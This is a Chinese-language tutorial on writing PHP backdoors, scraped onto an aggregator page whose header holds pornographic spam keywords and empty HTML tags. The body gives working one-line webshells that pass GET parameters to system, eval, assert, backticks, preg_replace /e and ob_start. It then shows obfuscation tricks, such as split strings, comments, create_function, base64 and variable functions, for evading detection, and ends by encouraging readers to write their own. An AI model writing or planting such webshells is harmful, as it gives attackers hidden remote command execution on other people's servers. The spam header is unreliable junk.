久久久久久久视色,久久电影免费精品,中文亚洲欧美乱码在线观看,在线免费播放AV片

<center id="vfaef"><input id="vfaef"><table id="vfaef"></table></input></center>

    <p id="vfaef"><kbd id="vfaef"></kbd></p>

    
    
    <pre id="vfaef"><u id="vfaef"></u></pre>

      <thead id="vfaef"><input id="vfaef"></input></thead>

    1. 站長(zhǎng)資訊網(wǎng)
      最全最豐富的資訊網(wǎng)站

      php后門的編寫

      0x1 原理 1、執(zhí)行系統(tǒng)命令的函數(shù) proc_open, popen, exec, shell_exec,passthru,system 這里只給出兩個(gè)例子,其他的可以查看php手冊(cè)編寫 system() ? php system($_GET[‘input’]); ? http://192.168.247.133:81/shell.php?input=dir “執(zhí)行命令 “執(zhí)行命令等…

      0x1 原理

      1、執(zhí)行系統(tǒng)命令的函數(shù)

      proc_open, popen, exec, shell_exec,passthru,system

      這里只給出兩個(gè)例子,其他的可以查看php手冊(cè)編寫

       

      system()

      1. <?php 
      2. system($_GET[‘input’]); 
      3. ?> 

      http://192.168.247.133:81/shell.php?input=dir

       

      ““”執(zhí)行命令

      “執(zhí)行命令等價(jià)于shell_exec()函數(shù)來執(zhí)行命令。

      1. <?php 
      2. echo`$_GET[input]`; 
      3. ?> 

      http://192.168.247.133:81/shell.php?input=dir

      再來個(gè)更短的

      1. <?=@`$_GET[c]`?> 

      http://192.168.247.133:81/shell.php?c=dir

      注:這個(gè)要開啟short_open_tag的,不過默認(rèn)為on

      2、可以執(zhí)行代碼的函數(shù)

      eval() 函數(shù)把字符串按照PHP 代碼來計(jì)算,該字符串必須是合法的PHP 代碼,且必須以分號(hào)結(jié)尾。

      1. <?php 
      2. eval($_GET[‘input’]); 
      3. ?> 

      正則表達(dá)式

      Preg_replace函數(shù)的作用是用來執(zhí)行常規(guī)表達(dá)式的查找和替換的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用來查找的常規(guī)表達(dá)式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串?dāng)?shù),count是成功替換的數(shù)目。函數(shù)將返回替換后的字符串,當(dāng)Pattern參數(shù)使用/e修正符時(shí),preg_replace函數(shù)會(huì)將replacement參數(shù)當(dāng)作PHP代碼執(zhí)行。

      1. <?php 
      2. preg_replace(“//e”,$_GET[‘input’],”qingsh4n”); 
      3. ?> 

      assert()

      assert這個(gè)函數(shù)在php語言中是用來判斷一個(gè)表達(dá)式是否成立。但是其字符串參數(shù)會(huì)被執(zhí)行。

      1. <?php 
      2. assert($_GET[‘input’]); 
      3. ?> 

      ob_start()

      1. <?php 
      2. $foobar =$_GET[‘input1’]; 
      3. ob_start($foobar); 
      4. echo$_GET[‘input2’]; 
      5. ob_end_flush(); 
      6. ?> 

      http://192.168.247.133:81/shell.php?input1=system&input2=dir

      更多的函數(shù)需要同志們?nèi)ネ诰颉?/p>

      0x2 如何混淆

      1、注釋/**/

      1. <?php 
      2. assert/**/($/**/{“_GET”}[‘input’]); 
      3. ?> 

      2、連接號(hào)

      php中“.”為字符串連接符號(hào)

      1. <?php 
      2. $var =”a”; 
      3. $var .=”ss”; 
      4. $var .=”er”; 
      5. $var .=”t”; 
      6. $var($_GET[‘input’]); 
      7. ?> 

      注:測(cè)試時(shí)發(fā)現(xiàn),echo()、eval()等函數(shù)無效。

       

      3、創(chuàng)建函數(shù)

      create_function() 創(chuàng)建一個(gè)匿名函數(shù)

      1. <?php 
      2. $foobar =$_GET[‘input’]; 
      3. $dyn_func =create_function(‘$qingsh4n’, “echo $foobar;”); 
      4. $dyn_func(”); 
      5. ?> 

      5、編碼函數(shù),base64等

      1. <?php 
      2. assert(base64_decode(‘ZXZhbCgkX0dFVFsnaW5wdXQnXSk7’)); 
      3. ?> 

      注:其他的編碼函數(shù)有g(shù)zinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手冊(cè)編寫。

       

      6、可變函數(shù)

      PHP 支持可變函數(shù)的概念。這意味著如果一個(gè)變量名后有圓括號(hào),PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它。

      1. <?php 
      2. $dyn_func =$_GET[‘dyn_func’]; 
      3. $argument =$_GET[‘argument’]; 
      4. $dyn_func($argument); 
      5. ?> 

      如果register_globals=on時(shí),代碼可以改為如下形式:

      1. <?php 
      2. $input1($input2); 
      3. ?> 

      http://192.168.247.133:81/shell.php?input1=system&input2=dir

      注:同樣可以利用call_user_func()、array_walk()等函數(shù)

      0x3 編寫自己的webshell

      通過上面的知識(shí),可以任意組合上面寫到的代碼執(zhí)行和混淆技術(shù),編寫屬于自己的php后門應(yīng)該是順手拈來的事,如果誰有好的發(fā)現(xiàn)或者是奇淫技巧記得告訴我。最后附上酷殼上面關(guān)于hello world的6種變態(tài)寫法,也許在這里面會(huì)找到些許靈感。

      0x4 參考

      http://www.php.net/

      http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html#sec22

      http://www.t00ls.net/viewthread.php?tid=18951

      http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63

      http://h.ackack.net/tiny-php-shell.html

      http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

       

      ps:本來想好好寫完的,但是看到moyer牛那篇文章后,一下子感覺寫的這些都蒼白無力了。

       

      贊(0)
      分享到: 更多 (0)
      網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)